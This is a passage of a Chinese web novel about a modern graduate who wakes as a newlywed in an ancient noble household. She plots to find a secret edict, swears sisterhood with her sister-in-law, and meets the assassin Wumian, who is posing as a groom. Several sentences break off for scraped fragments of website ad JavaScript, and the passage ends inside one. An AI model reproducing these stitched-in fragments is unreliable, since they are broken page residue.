所以她拼命的找工作,要让自己独立,暂时不去想其他的事情,有了工作才能有钱,才能做自己想做的事情,或许终极目标就是有钱又有闲的躺平生活,但也意味着梁浅想看的风景也还有很多很多。 此时,她却一穿越过来便成了有夫之妇,梁浅深深叹气,又抬头看向天上的月亮,心中暗暗下定决心,即使穿越过来了,她也不会改变她原来的想法,她不想当被困到只有这一方天地不得自由的高墙大院,她要的是属于自己的自由。 梁浅在外面晃了好一会儿才回去,梁浅打开门,房间里面静悄悄的,梁浅悄悄往床边走进,发现萧明渊已经睡下。 梁浅便轻轻卸了钗环,悄声拿了一件披风,到床尾处的一方榻上躺下了。 见萧明渊没有动,梁浅终于放松了下来,看着屋里的灯火跳动着,梁浅有了睡意,沉沉睡去。 梁浅这一觉睡得很沉,莫名梦到自己是一位女侠,行走江湖申张正义。 天蒙蒙亮的时候,梁浅迷迷糊糊的感觉好像有人把自己抱到了床上,就开门出去了。 梁浅实在太困,便又睡了过去,现代的自己因为毕业,所以自己每天都很焦虑,找不到适合的工作,身边的人都有了offer,或者已经上岸,自己却好像停滞不前。 自己已经很久没有睡过懒觉了,梁浅心想,反正现在在古代,也没有手机玩,逃婚也得从长计议,不是一天两天的事情,先多睡一会儿吧,应该睡到点了有人叫我吧。 于是梁浅这一觉便直接睡到了晌午,梁浅蓬头垢面的坐在梳妆台前,边打着哈欠边向身边的芸香问道:“芸香,你怎么都没有叫我起床。” 芸香笑着回应道:“姑爷早上走的时候交代过,小姐这几日辛苦了,想必会多睡会儿,让我们不必打扰,做好吃食备着就好。” 梁浅看着端进屋子里面的午饭,心虚的向芸香问道:“芸香,我这样是不是不太好?” 梁浅联想到那些古装电视剧里面的新媳妇要孝敬长辈侍奉夫君什么的,怕自己此时的懈怠暴露自己。 芸香看出了梁浅的担心,回答道:“小姐放心,如今萧府上下已然没有什么长辈,萧家的叔侄婆媳大多都今日早些时候便回了平州老家,如今只有姑爷和萧二小姐在家中。” “萧二小姐?昨日我怎么没有见过?”梁浅疑惑地问道。 梁浅仔细回忆,昨天确实没有见过这位二小姐,甚至都没有听人提起过。 芸香将梁浅的头发梳成新婚妇人发髻,然后语气平和地说:“前日小姐姑爷大婚时,萧二小姐是在府中的,昨日听说是城南新进的西北良驹到了,萧二小姐争着去抢,所以小姐才没有见到,想必今日已经回来了。” 梁浅心想,这样看来,萧二小姐应该不是普通的闺阁女子,将门虎女,眼里揉不得沙子,自己更加得谨慎才是,且昨日萧家众人说了这么多,都没有提起这位萧二小姐,或许是不被萧家众人重视,又或许她身上有着什么不为人知的秘密。 * 无面自从昨日从萧府出来,便一直在萧府后门的茶摊等着,中途回据点没有找到解药,晚上又到房梁上等着,不知道被蚊子吃了多少口,终于天亮。 今日又在茶铺吃茶一直到了中午,才见到梁浅身边的婢女芸香出来。 无面恭敬的走在芸香身后,心里却已经不知道骂了那个疯女人多少次。 无面心想等到事成之后一定要让这个女人吃点苦头才好,是去买点含笑半步癫给她吃,还是继续抢她的生意,让她在刺客这行干不下去,无面暗自想着这一切偷笑着。 芸香交代好一切便离开了,无面被安排到马圈中给马儿喂草养护,正当无面抱着桶和刷子往马圈走的时候,他看到一名女子骑着马好像朝自己走来。 萧府有一片开辟出来的马场,虽然不大,但是足够萧家人在此处练马了,此时,一名身上着紫衣的女子正骑着一匹高大的马儿在场上驰骋。 她拽着缰绳的手远远看上去纤细而有力,驾马的手法看上去就是行家,挥舞马鞭也是每一次恰到好处,高大的马儿显得女子身躯并不大,可是你仍然能够感受到女子铺面而来的掌控力和自信力。 无面一时间看呆了,这女子的马术可以说是他这些年看到最好的。 作为刺客,他以无面行走江湖,可以说见过家族中为了争家产争得头破血流的男女,也见过同行个别冷血刺客的阴险狡诈,更见过朝廷官员的阴谋算计。 他从来没有见过在骑马如此潇洒的女子,也从未见过女子这样的充满自信的笑容,第一次有人让他看入了迷。 眼见那女子的速度逐渐慢了下来,朝自己这边走来,无面赶紧放下手中的工具,然后整理了一下自己的衣裳,然后准备用平时江湖上侠客的礼仪行礼。 只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见那女子对无面说道:“你是新来的马夫?” 无面一愣,才想起来自己如今扮演的是萧府的马夫,密诏还没有到手,还需要继续的装下去,于是无面眼睛一闭,转换手势,恭敬的朝女子行礼应答。 女子说道:“我是府中的二小姐萧明汐,这是我才带回来的西北良驹,你可要好好照顾,若有什么闪失,唯你是问。” 无面恭敬应答,伸手去牵来萧明汐手中的马儿,俨然一幅专业的样子,让人看不出破绽。 无面见萧明汐还在轻轻的抚摸着马儿,好像心情很好的样子,无面便问道:“不知小姐给这匹马儿取了什么名字?” 马儿全身黑色,四肢和额部倒是有白色点缀,萧明汐笑着回答说:“我打算叫她白雨。” 无面笑着满脸欣赏地回道:“黑云翻墨未遮山,白雨跳珠乱入船。这马儿倒确实像黑云未遮时落下的白雨一般。” 萧明汐眼神警惕了起来,稍微收起笑容,且有些疑惑的看向无面。 无面意识到,自己好像有点暴露了,一时因为欣赏就将心中的话脱口而出了,没有想起自己是马夫,这样的学识有可能会引起萧明汐的怀疑。 无面于是马上补充说道:“这句诗句正是我家小姐最喜欢的诗句,去年柳家到江南游湖,听到小姐念了好几回,便记住了,如今看来,我家小姐与萧二小姐也是有缘。” 萧明汐稍微收起眼神,回道:“原来如此,不知你家小姐是?” “我家小姐正是北安候的新婚妻子。”无面语气平静的回答。 “原来是嫂嫂。”萧明汐将马鞭整理好拿在手中,正打算离去,突然转过身来问道,“对了,你叫什么名字?” 无面沉默片刻,朝萧明汐回礼答道:“小人无面,还请萧小姐放心,小人定会恪守职责,照顾好萧小姐的马儿。” * 梁浅吃好午饭便开始搜罗自己的嫁妆行李,翻箱倒柜后却发现堂堂柳家的大小姐,竟然只有十几两银子,梁浅瞬间心就凉了半截,自己想成为富婆的梦想怎么感觉遥遥无期。 芸香见梁浅不开心的样子,便安慰梁浅说:“许是小姐忘记自己将东西放在哪儿了,过几日应该就想起来了,若是小姐急着用钱,芸香这里还有小姐之前赏给芸香的五十两银子。” 梁浅吃惊的看着芸香,怎么她比我有钱这么多,先是婉拒了芸香的好意,梁浅又突然转念一想,如果柳烟晴在逃婚前为了给芸香一个好出路有保障,所以才将这么多财产都发了出去,这样仿佛也说的通了。 可是既然是逃婚,为什么她不自己多带一些私产呢?莫不是像无面说的都被打劫走了? 可是袭击我们的高手按照无面的描述应该主要是为了我身上的密诏而来,拿了密诏后的赏金可比我这里的小钱多多了,或许这样看来能解释的便是柳烟晴对于自己的逃婚其实是有把握的,甚至是安排周全了的,而只是无面的闯入没有预料到罢了。 想到这里,梁浅倒是不急了,一方面如果能拿到密诏自然是能赚到赏金的,另一方面如果拿不到密诏,暂时还是可以“借”萧府的钱一用,作为本金,到时候赚了钱还给萧明渊,或者分点利给他也不是不行。 说干就干,梁浅便立即向芸香问道:“芸香,你可知侯爷现在在何处?” 5. 第五章·书房 梁浅拿着厨房的点心来到了萧明渊的书房门外,远远就看到门口有两个带刀侍卫守在门口,心中不免又想起昨日才穿越过来时,那两个带刀侍卫给自己的震慑,心中不免后怕,若当时真被萧明渊发现无面,自己才是跳进黄河都洗不清了。 而梁浅之所以要到萧明渊的书房来,不仅是因为在卧室除了萧明渊的衣物等日常用品,并没有找到什么和密诏有关的东西,所以梁浅猜想密诏很有可能是在萧明渊的书房。 听芸香说书房平时都有侍卫看守,除了萧明渊本人,其他人都不能靠近半分,每日打扫的侍女也必须在侍卫的注视下进行打扫整理,时间还限定在一炷香之内。 梁浅深吸一口气走了过来,两位侍卫见到是侯夫人,恭敬向梁浅行礼,并往后一退,作出请梁浅进屋的姿势。 梁浅疑惑的问道:“不是说侯爷不让旁人进得书房,要不两位还是先去向侯爷通报一声,我可以在此等候。” 高个子的那个侍卫低头说道:“侯爷吩咐夫人不是旁人,今后无论侯爷是否在书房,夫人进出书房皆无须阻拦。” 于是梁浅边轻轻点头,边迈步走进了书房,梁浅一看便觉得这一定是一个古代的文艺男青年的审美,书房的布局简约文雅,房中的家具都是古色古香的檀木家具。 梁浅刚走进来,便看到正在书案上写字的萧明渊,萧明渊今日穿了一声素衣,头发简单用木簪束起,神情看上去倒是比昨日轻松不少。 见梁浅走了进来,萧明渊写字的手暂时停下,将手中的毛笔提起,看向梁浅,笑着说道:“你起来啦,可用过饭了?” 梁浅自然的回应道:“用过了,听厨房的王婆说你在我之前已经用过饭了,我便只带了些茶水果子来,可要尝尝。” 萧明渊听梁浅说完,萧明渊又提笔写下一字,“好,你先坐,我写完这几个字就来。” 梁浅便点头笑着,走到房间正中的榻上休息,将食盒放在小桌上,将里面的点心拿出来等着萧明渊,心想如今自己这贤惠妻子的角色倒是演上了,心中不免失笑。 见萧明渊还在低头写字,梁浅便悄悄观察着房间里面的一切事物。 书房其实格局很简单,正中是一张檀木的榻,上面放着一张可移动的小茶几,榻还放着几个靠枕。 书房的左边都竖着很多书架,上面整齐的摆放着各式各样的书籍字画,书架前又放了一张床榻,看上去倒是比中间这个更加小巧,也实用得多。 角落处还有几个木箱,看上去倒是有些年头了,窗边的桌子上摆着盆含苞待放的兰花,梁浅尽力用自己的现代性的思维快速的判断着这一切。 而在房中的右边,则放着萧明渊正在用的书桌,桌上笔墨纸砚具有,他身后的架子上除了书倒是好像放了几个小盒子。 虽然刚刚侍卫说她以后可以自然进出萧明渊的书房,但是若是由于她的进出,书房里面少了东西,萧明渊必然是第一时间发觉,自己也就是头号嫌疑人,在加上这个书房东西这么多,也一时半会儿找不完。 正好萧明渊在这里,不如试探他的反应,在针对性的下手,减少对我的注意,要是丢东西我也可以快速应对。 萧明渊正好抬头和梁浅对视,梁浅立刻从刚刚认真思考时的面无表情转变成贤妻良母般的微笑,萧明渊停笔走过来,与她一同坐在榻上。 看着卖相还不错的点心,萧明渊看着梁浅问道:“这是娘子亲手做的?” 梁浅尴尬的笑着回答道:“算是吧。” 梁浅哪里会做什么糕点,自己之前在家里能稍微煮点饭炒个土豆丝之类的给自己吃就不错了,上个寒假立志要成为大厨,结果买的空气炸锅也迟迟不到,自己一代厨神的美好愿景也就这样耽误了。 萧明渊不禁问道:“什么叫算是?”然后便拿起一块糕点往自己嘴里送。 梁浅说道:“嗯,我帮王婆把弄好的糕点亲手放进了食盒。” 梁浅心想这应该也算收尾工作了吧,谁让自己本身对做糕点这件事也没有什么兴趣,中午过去的时候王婆就已经弄好了,自己只有亲手放进去这个没有什么技术含量的动作了。 萧明渊听到这话,不禁失笑,却忘了刚放进嘴里的糕点,于是被呛得连连咳嗽。 “慢点吃慢点吃,快喝点茶水。”梁浅赶紧倒了茶水递给萧明渊,自己却尽力在忍住不要笑出声来。 “我还是第一次听到这样也算是亲手做的。”听到萧明渊这样说,梁浅才笑出了声,她看向萧明渊,发现他自己也在笑。 梁浅此时觉得,好像萧明渊这个人也没有这么难相处嘛。 此时时机成熟,梁浅便决定开始试探,萧明渊则坐着继续吃着点心,梁浅站起身来,四处查看,假装是第一次来参观的样子,实际她的关注重点其实是萧明渊的反应。 梁浅走到左边的书架旁,粗略的看了看,无非就是一些兵书史书字画,从外面看起来也没有什么特别之处,萧明渊也没有什么反应,只是边吃边淡定的看着梁浅。 而后梁浅又走到了刚刚萧明渊写字的书桌前,看到刚刚萧明渊正在写的字,萧明渊还没有整理,因此只是镇纸草草压着便走过来吃点心了,此时刚刚写的纸张一角被风轻轻吹起。 梁浅眼神示意萧明渊,自己想看看这幅字写的什么,萧明渊坐在榻上向后倾倒了一些,半躺着看向梁浅,微笑着轻轻点了点头。 梁浅拿起纸张,萧明渊的字迹有一些潦草,或者说狂放,梁浅装作看懂的样子,给看向自己的萧明渊竖起了大拇指,点头表示肯定。 萧明渊淡定的笑着看向梁浅,当看到梁浅竖起的大拇指的时候,还轻轻挑了一下眉毛,梁浅看他淡定的样子,相比玄机定不在此处。 然后转身看向架子上面的东西,除了书籍之外,架子上放着一个精致的红木盒,还上了一把小锁,梁浅正打算伸手拿过来,萧明渊却一下站起来,快步朝梁浅这边走过来。 萧明渊拉住梁浅的手,然后转移话题的说道:“娘子看够了就过来坐着休息会儿吧。” 梁浅一看这反常的反应,便意识到,肯定有猫腻,这个木盒究竟有什么不可告人的秘密,暂时还是给他一个台阶下,之后在偷偷过来打开看算了。 梁浅温柔地答好,然后便看向萧明渊拉着梁浅的手,萧明渊随之便轻轻放开梁浅的手,转头不再看对方 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,二人一同在榻上坐下。 正在两人坐下相顾无言的时候,萧明渊的侍卫从外面一脸严肃的将侍女手中的水果盘端了进来,梁浅一看,又是樱桃。 从昨天穿越过来,梁浅就发现好像这个府中的每一张桌子上都会出现樱桃,她和萧明渊的卧房有樱桃,正堂有樱桃,偏厅也有樱桃,现在书房也有樱桃,本来水果梁浅是没有在意的,可是绕来绕去只有这个水果就让梁浅不得不多想了。 见侍卫退下,萧明渊便伸手拿了几个樱桃塞进嘴里,梁浅心想,莫不是萧明渊自己爱吃,所以家里到处都有,可是萧明渊作为一军将领,应该知道自己的喜恶不能表现的这么明显的,还是说因为如今回京,不是在军中,所以他放下了警惕? 萧明渊全然没有在意此时梁浅的眼神,只是从书桌上拿起一本书,边看着书才边向梁浅问道:“不知娘子女工如何,可会缝制荷包?” 梁浅顿时一愣,心想他这是试探我吗,什么女工,自己连十字绣都绣不好,上次自己想给自己绣个小挂件都绣了半个月,还绣的惨不忍睹,哪里会缝什么荷包。 梁浅强装镇定的笑着说道:“不知夫君何意?” 梁浅决定暂时回答不了问题就回避问题,想着把问题先丢回去给他,看看他的回答,通过他的回答再去判断他的目的是什么。 萧明渊假装不在意地说道:“也没有什么事,只不过这些年我常见到军中的将领和士兵若是成婚,没过几日便见到他们身上挂着他们新婚妻子给他们绣的荷包,陪着他们共同奔赴战场,我想如今我也有了妻子,所以我也应该能有个荷包了吧。” 萧明渊的语气越说自己反倒是越来越小声了,边说着还用手撑着半边脸,以至于梁浅都不能看清他此刻的表情究竟是怎么样的。 梁浅听到着,反而为自己刚刚的恶意揣度有些愧疚,这理由听着倒是挺真实的,而且人家这个理由其实也不算过分,因此梁浅也说不出拒绝的话,且这种情况下如果拒绝反而显得自己很可疑。 梁浅轻声叹气,无奈地说:“好吧,夫君,我尽力而为。” “多谢娘子。”一听到梁浅答应,萧明渊立即转头笑着回应道,转而见梁浅正看着自己,又正襟危坐起来,“咳咳,差不多要到用晚饭的时间了,娘子,带你见见我妹妹,昨日她疯跑出去,今日想必又去骑了一天马,晚饭应该能够见到了。” 梁浅微笑着点头,在出门之前,又悄悄看向那个木盒,心想一定要找到合适的时机查看里面的东西。 * 梁浅和萧明渊两人刚在桌上坐定,便听到门外传来一阵悦耳的铃声,梁浅抬头望去,一个身着淡黄色衣裙的少女走了进来。 少女一进来便直奔梁浅而来,亲切的拉着梁浅的手,认真的看着梁浅:“嫂嫂生得真好看,气质也与众不同,怪不得哥哥拒绝了那么多人家,如今看了我也喜欢得紧呢。” 梁浅也是这时才看清着女子的容貌,少女眉眼皆具英气,笑容灿烂,神采飞扬,一身黄衣让人感觉如同阳光一样温暖,手上带着响铃的手串更衬出了一丝俏皮,而她的笑容仿佛能够感染与她对视的人,梁浅也不自觉扬起了嘴角。 6. 第六章·义结金兰 看着梁浅和萧明汐还在姐妹情深,萧明渊于是面带笑容的,轻轻伸手将梁浅拉了过来,招呼二人先用饭,萧明汐此时才反应过来,还没有向嫂嫂介绍自己。 于是萧明汐这才行礼道:“明汐见过嫂嫂,嫂嫂安好,哥哥安好。”脸上依旧洋溢着笑容。 梁浅赶紧拉起萧明汐,“好,今日见到明汐我也很开心,快来用饭了,我们俩今日可得喝一杯不是。” 萧明汐一听到要喝一杯,眼睛一下就亮了起来,和刚刚的淑女模样全然不同。 于是梁浅今日便又醉了一回,最后的结果显然萧明汐的水平更胜一筹。 当今天这场晚饭结束,梁浅和萧明汐两人相见恨晚,席间十分认同对方的女子也应该有自己的一番事业,女子也应该和男子做同样的工作等观点。 于是这两位小姑子和嫂子打算在萧明渊的见证下,结为异性姐妹,萧明汐正打算拉着梁浅朝屋外跪下,梁浅也竖起大拇指,点头应答着。 萧明渊终于看不过去了,一手萧明汐,一手梁浅的将二人提起来,说道:“两位莫不是忘记了,不用结拜异性姐妹,二人现在已经是姑嫂了。” 梁浅听到这话,一把推开萧明渊,含含糊糊的大声说道:“萧侯爷这话我可不爱听了,凭什么是姑嫂就不能结拜异性姐妹了?你论你的,我们论我们的,二者有何相干?” 萧明汐也赶紧站起来附和着,梁浅越说越起劲,生拉着萧明汐结拜起来,在结拜开始前,梁浅转头推开萧明渊道:“你的见证人资格被取消啦,快快把地盘让开。” 萧明渊看着两人,无奈的摇了摇头,转身回到位子上继续观看二人的结拜仪式。 于是梁浅和萧明汐二人便对着屋外的天空说道:“我,梁,嗯,柳烟晴。” “我,萧明汐。” “今日与萧明汐一见如故,誓要做出一番事业,寻得自我的真谛,成为女子的骄傲,故结拜为异性姐妹。” “姐妹荣辱与共,祸福相依,天地共鉴。” 然后二人便朝向外面的天地跪拜行礼,当磕到第三个头时,梁浅支撑不住,磕了头边直接倒在了地上。 见状萧明渊原本满脸笑意的看着二人结拜,见梁浅倒下去了,便快步向前,将梁浅扶起来,梁浅身子软软的倒在萧明渊的身上,萧明渊见到梁浅只是呼呼的睡去了,才终于松了一口气。 而转头看到萧明汐更是磕头后就保持住了跪拜的动作,因为此时梁浅还靠着自己,所以萧明渊示意旁边的婢女将萧明汐轻轻叫醒。 萧明汐迷迷糊糊的醒了过来,然后直起身来,嘴里还不忘说一句,礼成。 于是便迷迷糊糊的站起来,歪歪倒倒的朝屋外走去,走时还不忘朝萧明渊和梁浅行礼,只不过好像行礼都闭着眼一样。 看着萧明汐还可以自己站定,梁浅已经睡了过去,萧明渊知道萧明汐喝醉了自己会找回自己的屋子睡觉,便让婢女侍卫跟上,自己则带梁浅回屋。 萧明渊将梁浅带回屋,给梁浅盖好被子后,给芸香等人交代好照顾梁浅的事宜,自己便出去处理刚刚侍卫禀报过来的急事。 所以当梁浅睡了一觉醒来已经是黑夜了,屋里只在床边点了一点烛火,梁浅感觉自己有些恢复了,便自己站起身找水喝。 当梁浅走到桌子面前,发现醒酒的汤药就放在桌上,伸手一摸,竟然还是热的,想必是芸香一直在热药,让她一醒过来便可以喝到热的汤药,也不打扰她休息,所以守在屋外。 梁浅心里暖暖的,被人关爱着的感觉还挺好的,梁浅一口气喝完药便叫芸香,芸香果然一个人在门口守着,此时天已经黑了,门外的风吹得人还是感觉冷飕飕的,梁浅忙叫芸香进来。 梁浅将热茶倒在水杯里,叫芸香过来与她同坐,并将茶递给她,芸香吓得连连拒绝。 梁浅拉芸香过来坐下,和芸香说道:“之前就说过,你我之前不用这些虚礼,我还要感谢你一直照顾我,快喝点热茶暖暖,今日是我不对,喝了太多失态了。” 芸香看着梁浅,语气有些慌忙的回道:“小姐没有什么不对,芸香服侍小姐是应该的,小姐这样说真是折煞奴婢了。” 梁浅看到芸香这毕恭毕敬的样子,心中难免一阵酸楚,她成长在人人平等的现代,从小接受的观念便是人不分高低贵贱,她希望女子之间能够平等的交流相处。 她也很明白这种在他人面前卑微的感觉并不好受,仿佛芸香此刻的神态就像她之前在饭店打工赚钱时,客人提出不满,自己低下头不停道歉,反思自己到底哪里做的不好,想请求原谅一样。 于是梁浅拉起芸香的手,真诚的对芸香说道:“芸香,你我都是女子,也都是父母的孩子,我们没有不同,你我不是都是两只眼睛,一个鼻子,一张嘴巴?” 看着梁浅满脸笑容,芸香也放下了心中的戒备,虽然听到梁浅的嘴巴鼻子理论也不禁失笑。 可芸香嘴里还是充满抗拒的回应着,“小姐这是说的什么话,小姐是金枝玉叶,如今更是侯府夫人,而奴婢不过只是卑贱之身,如今能来服侍小姐已然是上天垂帘。” 梁浅语重心长的回答道:“以后不允许你这样说,更不允许你这样想,不可妄自菲薄,什么小姐奴婢,那些世俗和他人强加在身上的束缚,都不要管,我们只是我们自己,你是芸香,我是,烟晴,好吗?” “今后,你我同是姐妹,更不要只顾着我,让自己受冻了,我们以后有好吃的一起吃,有钱一起赚,可好?”梁浅笑着说道。 芸香眼中泪花闪烁,自己尽力不让小小泪花汇聚成眼泪,低头看着自己的手,一时不知道说什么,本来还想将自己之前说的话再说一遍,可是看着梁浅真挚的眼神,自己说不出口。 梁浅见她不说话,便说:“你要是不说话,我就当你同意了,以后直接叫我烟晴,或者也可以叫我姐姐。” 芸香还是什么话都没有说,梁浅见状拿起油纸将桌上的糕点吃食包好,都递给芸香。 “今日也晚了,你快回去休息,厨房怕是也没人,若是饿了你就吃点糕点垫垫肚子,回去多喝点热水,被子盖好,可别着凉了。”梁浅对芸香说着,芸香还是拒绝,梁浅强塞到她怀里,假装生气,芸香这才收下离开。 走在回房的路上,芸香怀里紧紧的抱着糕点,在柳府中这么久,她已经习惯了不停的干活,不停的跪拜,自己好不容易争到了柳家小姐的身边做了陪嫁丫鬟,自诩已经比之前的自己强了百倍,哪里还敢奢求和柳小姐以姐妹相称,芸香此时心里只当是柳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小姐和自己开的玩笑。 可是看着怀中的糕点,芸香还是会心一笑。 看着芸香离开之前还是给她恭敬的行礼之后才走,梁浅知道,她或许并没有当真,更没有真正相信自己。 梁浅也理解,想改变一个人根深蒂固的观念是很难的,自己也不得不承认,自己是想拉拢更多的人在萧府帮助她。 可是自己也是真心想和芸香成为朋友,也是希望自己逃跑后,给她更好的安排,让她也能获得自由,不要连累到她,若是她还是这样想,哪怕是之后救她出去,她也仍然会再次入府,寻不得真正的自己。 正在梁浅起身换了衣服,沐浴之后,感觉自己此时还没有睡意,便坐在桌子边对着烛火发呆,萧明渊也正好处理好公务回来。 梁浅看到萧明渊回来,才意识到自己忘记了这件事情,昨晚的事还没有个结果呢,万一萧明渊他又,那自己不一定又再次糊弄过去。 梁浅坐直身子对着萧明渊说道:“回来啦。” 萧明渊轻轻点头应了一声,解下披风,给自己倒了茶喝了一口。 “娘子可好些了?”萧明渊自然的问道。 梁浅想起自己下午的失态,有些不好意思,加上想着既然他问了不如将计就计。 “已然好多了,刚刚也喝了醒酒汤,不过还是有些头晕,可能还得休息,你不用担心,唉,都是老毛病了,前些年在家中请了无数的郎中来看过,说是千万不能激动,需要静养,娘亲也担心我嫁过来怕是休养不好,有些事我也不敢和侯爷说。”梁浅又演了起来,说到最后还故作娇羞的样子。 萧明渊放下手中的茶杯,看着梁浅说道:“哦?之前与娘子书信往来许久,怎么未曾听娘子提过?” 梁浅不知道两人竟然还有书信往来,只有敷衍的说道:“俗话都说报喜不报忧嘛,我自然是不想让侯爷担心的,只是斗胆想提醒侯爷,如今我身子还没有大好,若是怀孕生子更是九死一生,日常也不可劳累激动,说不定就晕死过去了。” 梁浅越编越严重,也越来越离谱,看萧明渊看向自己的眼神仿佛闪过一丝怀疑,梁浅就赶紧停下了。 看着梁浅故作柔弱的姿态,萧明渊假装十分关切的说:“唉,娘子身体如此虚弱,可要请个太医来家中看看?” 看着梁浅连连摆手摇头,萧明渊已然控制不住嘴角的笑意,只是忍住不笑出声来。 然后萧明渊便凑近到梁浅身边,低声说道:“既然如此,娘子不能劳累,怎么还有精力新婚第一日就跑出了京城?” 梁浅刚刚刚演的娇弱样一下子就破功了,想大声反驳却又怕他人听到,于是压低声音反驳道:“我不是说我是被迫的吗,我是被人绑过去的,我都不知道怎么去的。” 看到梁浅因为激动的反驳,脸都变得红了起来,萧明渊开怀大笑,“哈哈哈,你说什么便是什么吧。” 萧明渊说着便起身往外走去,应该是去沐浴,梁浅又着急的叫住了他,“萧明渊,那个,那个事,你可明白?” 萧明渊此时背对着梁浅,只是偏过头来说道:“我知道了,新婚就分房可能引起外人猜忌,你先去床上睡吧,我在榻上睡就是。”然后便转身走了出去,梁浅看着他关上了门,才终于松一口气。 7. 第七章 晚安吻 梁浅看向床尾那张榻,想到自己昨夜睡在上面并不安稳,于是便从柜子里找了两床被子,简单的铺了一下,便转身回到自己的床上了。 梁浅虽然躺到了床上,却迟迟没有睡着,如今已经两天了,先不说能唬住无面,眼看要给他解药的承诺时间又近了。 光是现在自己的进展只有书房的木盒,就已经够人愁的了,明日一定得去找无面商量商量对策了。 听到开门的声音,梁浅立马转过身子装睡,然后只听到有人轻轻坐在榻上的声音,便安静了好一会儿,于是梁浅想偷偷转身看看萧明渊睡没有。 梁浅轻轻转身,却看到萧明渊正坐在榻上,左手的手臂上正缠着绷带,右手正帮手臂上的绷带打上最后一个结。 外面的月光透了进来,照在他的背上,从梁浅的视角看去,显得他有些清冷,可是手上的绑带却让梁浅联想到芸香说的,他是个杀伐果断,冷血无情的人。 “你受伤了?”梁浅轻声问道。 萧明渊抬眼看向梁浅,见她还没有睡,便说道:“小伤而已,无碍,你还没有睡?” 梁浅忙躺下闭上眼睛说:“睡了睡了。” 梁浅心想还是少管点闲事比较好。 结果却听到萧明渊脚步的声音,睁眼一看,萧明渊竟然竟然就坐到床边。 梁浅吓了一跳,赶紧闭上眼睛,却突然感觉脸颊好像被人亲了一下,梁浅睁开眼睛惊呼,“啊,你干什么!” 梁浅说着还想坐起身来,结果没有想到亲了梁浅的萧明渊反而伸手将梁浅轻轻压在床上,对梁浅说道:“为娘子的身体着想,很多事情为夫不急,可作为夫妻,可不能断了夫妻情谊,所以得安排每日的‘功课’上交不是?” 梁浅一脸疑惑,所以他刚刚亲了自己是他说的今天的功课?而且这个人到底想干什么?又威胁我又对我好的,莫不是他的计策,先以不变应万变好了。 于是梁浅便不再看向萧明渊的眼睛,眼神飘忽的说着,“好,好,我知道了。” 梁浅想伸手把萧明渊推开,可见萧明渊还是不动,梁浅便疑惑的看向他,只见萧明渊嘴角带有一丝笑意,轻轻转头,但眼神还往梁浅这边看着。 “为夫今日的功课交了,娘子的呢?”萧明渊边说着,边用眼神示意梁浅。 梁浅心想,莫不是还要我亲回去,这分明被占便宜的是我好不好,他还一幅公平交易的样子,算了,忍一时风平浪静,还有事要在萧府做,先忍忍先装装吧。 梁浅便打算抬头去亲萧明渊,在亲之前梁浅有些担心的对萧明渊说道:“交功课可以,你不可以偷偷转头哦。” 萧明渊边偷笑边应声答了一声嗯,梁浅看着这张脸,心想还算帅,本美人也就忍了,梁浅在萧明渊的脸上亲啄一下,就赶紧躺下了。 萧明渊满意的放开梁浅,然后对梁浅说道:“娘子,明日还要回门,早些休息吧。” 梁浅本来闭着的眼睛,突然睁开了,没有想到还有这件事,但梁浅不敢暴露,只是又装睡着假装迷迷糊糊的回答好,其实心里乱得很。 听到萧明渊在榻上躺下的声音,梁浅这才终于松了一口气,也不知道明天回门见到柳烟晴的母亲会是怎样的境地,自己可不能因 此暴露,明日还是早点去找无面商量一下才是。 * 梁浅昨日忧心忡忡的睡下,所以睡得并不安稳,早上天还没亮就起床准备去找无面。 萧明渊正在熟睡,听到梁浅的动静,睡眼惺忪的正打算开口问梁浅干什么,梁浅便快步走过来,轻轻摸了摸萧明渊的头,笑着说道:“我出去走走,片刻便回来了,你继续睡。” 见萧明渊又闭上眼睛睡去,梁浅才又悄声穿了外衣往外走去。 昨日吃饭的间隙便向芸香问了萧府书房马房厨房这些房间的位置,所以梁浅此时直奔马房。 出了房门,梁浅在远处等了半刻,看萧明渊没有出来,才快速向马房走去,路上也在四处看自己有没有被跟踪。 到马房附近时天已经蒙蒙亮,梁浅听到马圈有动静,梁浅便往马圈走去,就看到无面穿着马夫的衣服正在给马儿修马蹄。 梁浅顿时来了兴趣,在现代都是在视频里面看别人修马蹄,今天倒好,看到活的修马蹄现场了。 梁浅抱着手走了过来,悠闲地说道:“哟,无师傅在忙呀。” 无面看到是梁浅走了过来,嘴里哼了一声,将刚刚弄好的一只马蹄放下,自己将工具放到了一旁收好。 “还不是上面吩咐了说你今日回门让我准备好马车,我才大清早在这里忙的。你来这里找我什么事?莫非事情有进展了?”无面边有点抱怨的说着,边将木桶拿过来打算刷马。 “我正要来找你说这件事,这里说话方便吧。”梁浅低声说道。 无面无奈的说:“放心吧,这个时辰正是好睡的时候,除了你这种心里有事,大早上在这里找我的人,谁还会没事跑到这里看人修马蹄。” 梁浅懒得和他怼,便直接问出自己心中的疑惑,“你从什么时候开始跟踪我进萧府偷密诏的?还有我就是柳烟晴吗?” 梁浅一直有一个猜想,如果真是大家闺秀的柳家大小姐嫁进萧府,她不一定有这么大胆敢在新婚夜逃婚。 且柳家本身也算是富贵人家,也不用柳小姐自己以身犯险来偷萧府的密诏,从而赚这个赏金,她自己当上了侯夫人怎么可能还缺少这份钱。 所以得出的结论便是柳烟晴本身不是刺客,而她自己很可能是顶替柳烟晴嫁进萧府偷取密诏的刺客,自己不是柳烟晴。 之前想着当自己只在萧府假装几日,到时候直接离开,便忘记了要回门这件事,加上目前萧府的人也并没有怀疑她身份的,她也没有将此事放在心上。 如今回门,见到的是柳烟晴真正的母亲,柳烟晴的母亲如果当场发现自己的女儿被调包,那梁浅当场暴露,怕是难逃一劫,所以她需要找无面确认,柳家到底知道多少,无面又知道多少。 无面停了停手中的活,边回忆边说道:“嗯,本来我一直在萧府盯着,后看萧家上上下下忙忙碌碌,才知道萧明渊要成亲,我本来想大婚之日萧府上下鱼龙混杂,我就乘机混入萧家,岂不是找到密诏的好时机?” 梁浅无奈的看着他说道:“说重点。” 无面继续说道:“可是大婚当日,萧府上下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 